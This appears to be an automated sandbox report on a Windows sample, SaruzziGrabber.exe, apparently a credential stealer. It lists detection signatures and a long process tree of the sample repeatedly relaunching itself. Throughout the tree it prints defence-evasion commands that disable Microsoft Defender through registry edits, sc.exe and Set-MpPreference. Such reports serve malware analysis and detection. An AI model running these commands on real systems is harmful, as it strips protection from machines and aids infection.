Analysis
- max time kernel
8s - max time network
154s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260618-en - resource tags
- submitted
27/06/2026, 15:22
General
- Target SaruzziGrabber.exe
- Size 25.7MB
- Sample260627-srwtqab12k
- SHA256 bf8ab25a9543790f4c440f37ecdbae2a3b5a6858c15341b8c573da4aa5d1ff20
Score
8/10
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Disables one or more Microsoft Defender components 1 TTPs 64 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
- Disables service(s) 3 TTPs
- Loads dropped DLL 64 IoCs
- Stops running service(s) 4 TTPs
- Contacts third-party web service commonly abused for C2 1 TTPs 64 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Looks up external IP address via web service 17 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- UPX packed file 64 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Launches sc.exe 64 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Gathers network information 2 TTPs 7 IoCs
Uses commandline utility to view network configuration.
- Kills process with taskkill 64 IoCs
- Modifies registry key 1 TTPs 14 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 47 IoCs
- Suspicious use of WriteProcessMemory 17 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe"C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe"C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe"2⤵
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog3⤵
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog5⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog6⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog7⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog8⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog9⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog10⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog11⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog12⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog13⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog14⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog15⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog16⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog17⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog18⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog19⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog20⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog21⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog22⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog23⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog24⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog25⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog26⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog27⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog28⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog29⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog30⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog31⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog32⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog33⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog34⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog35⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog36⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog37⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog38⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog39⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog40⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog41⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog42⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog43⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog44⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog45⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog46⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog47⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog48⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog49⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog50⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog51⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog52⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog53⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog54⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog55⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog56⤵
-
C:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exeC:\Users\Admin\AppData\Local\Temp\SaruzziGrabber.exe C:\Users\Admin\AppData\Local\Temp\_MEI56242\stealer.py --watchdog57⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f57⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"57⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f57⤵
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f56⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"56⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f56⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend56⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled56⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"56⤵
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f55⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"55⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f55⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend55⤵
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled55⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"55⤵
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f54⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"54⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f54⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend54⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled54⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"54⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f53⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"53⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f53⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend53⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled53⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"53⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f52⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"52⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f52⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend52⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled52⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"52⤵
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f51⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"51⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f51⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend51⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled51⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"51⤵
- Disables one or more Microsoft Defender components
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f50⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"50⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f50⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend50⤵
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled50⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"50⤵
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f49⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"49⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f49⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend49⤵
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled49⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"49⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f48⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"48⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f48⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend48⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled48⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"48⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"48⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f47⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"47⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f47⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend47⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled47⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"47⤵
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"47⤵
- Disables one or more Microsoft Defender components
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f46⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"46⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f46⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend46⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled46⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"46⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"46⤵
- Disables one or more Microsoft Defender components
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f45⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"45⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f45⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend45⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled45⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"45⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"45⤵
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f44⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"44⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f44⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend44⤵
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled44⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"44⤵
- Disables one or more Microsoft Defender components
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f43⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"43⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f43⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend43⤵
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled43⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"43⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"43⤵
- Disables one or more Microsoft Defender components
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f42⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"42⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f42⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend42⤵
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled42⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"42⤵
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"42⤵
- Disables one or more Microsoft Defender components
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f41⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f41⤵
-
-
C:\Windows\SYSTEM32\sc.exesc stop WinDefend41⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exesc config WinDefend start= disabled41⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"41⤵
-
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f40⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"40⤵
-
-
C:\Windows\SYSTEM32\reg.exereg add "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f40⤵
-
-
